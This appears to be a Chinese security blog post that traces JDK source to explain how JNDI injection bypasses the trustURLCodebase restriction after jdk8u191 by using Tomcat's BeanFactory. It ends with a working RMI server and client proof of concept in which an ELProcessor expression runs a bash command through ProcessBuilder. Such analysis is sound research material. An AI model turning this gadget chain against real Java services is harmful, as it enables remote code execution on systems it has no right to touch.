在 jdk8u191 之后的版本中,com.sun.jndi.rmi.registry.RegistryContext.trustURLCodebase
被默认设置为false
,这个属性禁止我们远程加载factory
(也就是设计模式里的工厂类,用来“生产”相应的实例)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
private Object decodeObject(Remote r, Name name) throws NamingException {
try {
Object obj = (r instanceof RemoteReference)
? ((RemoteReference)r).getReference()
: (Object)r;
/*
* Classes may only be loaded from an arbitrary URL codebase when
* the system property com.sun.jndi.rmi.object.trustURLCodebase
* has been set to "true".
*/
// Use reference if possible
Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}
if (ref != null && ref.getFactoryClassLocation() != null &&
!trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
}
return NamingManager.getObjectInstance(obj, name, this,
environment);
} catch (NamingException e) {
throw e;
} catch (RemoteException e) {
throw (NamingException)
wrapRemoteException(e).fillInStackTrace();
} catch (Exception e) {
NamingException ne = new NamingException();
ne.setRootCause(e);
throw ne;
}
}
}
|
这里根据if
语句中的判断,前两个一般情况下都是true
的,所以当com.sun.jndi.rmi.registry.RegistryContext.trustURLCodebase
为false
就会进入从而抛出错误,所以这里是必不可能去走的,那么得想办法从另外两个语句想办法绕过,ref
肯定不能为null,所以从ref.getFactoryClassLocation()
下手。先找到当初factoryClassLocation
是在哪里设置的。
1
2
3
4
5
6
|
public Reference(String className, RefAddr addr,
String factory, String factoryLocation) {
this(className, addr);
classFactory = factory;
classFactoryLocation = factoryLocation;
}
|
很明显,这是在构造函数里面设置的,所以只要在当初对Reference
子类进行实例化的时候将factoryLocation
设置为null即可。接下来就可以进入NamingManager.getObjectInstance
,分析一下代码逻辑。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}
|
直接看到factory = getObjectFactoryFromReference(ref, f);
,因为之前的代码都是取值操作,并且getObjectFactoryBuilder()
是默认为null,所以不会进入,接下来继续往下分析。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClassWithoutInit(factoryName);
// Validate factory's class with the objects factory serial filter
if (!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
// Validate factory's class with the objects factory serial filter
if (clas == null ||
!ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) {
return null;
}
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
|
通读代码,因为ref.getFactoryClassLocation()
前面已经堵住了,所以不需要分析,直接看到clas = helper.loadClassWithoutInit(factoryName);
加载了相应的类,最后将类实例化后返回得到factory
。
1
2
3
4
|
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx, environment);
}
|
承接上上代码,拿到factory
之后就去"生产"相应类实例了,但是这个factory
具体是什么我们也不知道,但是有几点是必须的:
factory
必须实现javax.naming.spi.ObjectFactory
接口;
factory
必须有 getObjectInstance()
方法
所以大师傅们选择了org.apache.naming.factory.BeanFactory
,此类存在于tomcat依赖包中,所以用途比较广泛的。那么关于org.apache.naming.factory.BeanFactory
是如何做到RCE
的就先放着,下次再说(咕咕
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
// JNDIClient.java
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIClient {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/hack");
}
}
// JNDIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, MalformedURLException {
LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash', '-c', 'open -a Calculator.app']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://127.0.0.1:1099/hack", referenceWrapper);
}
}
|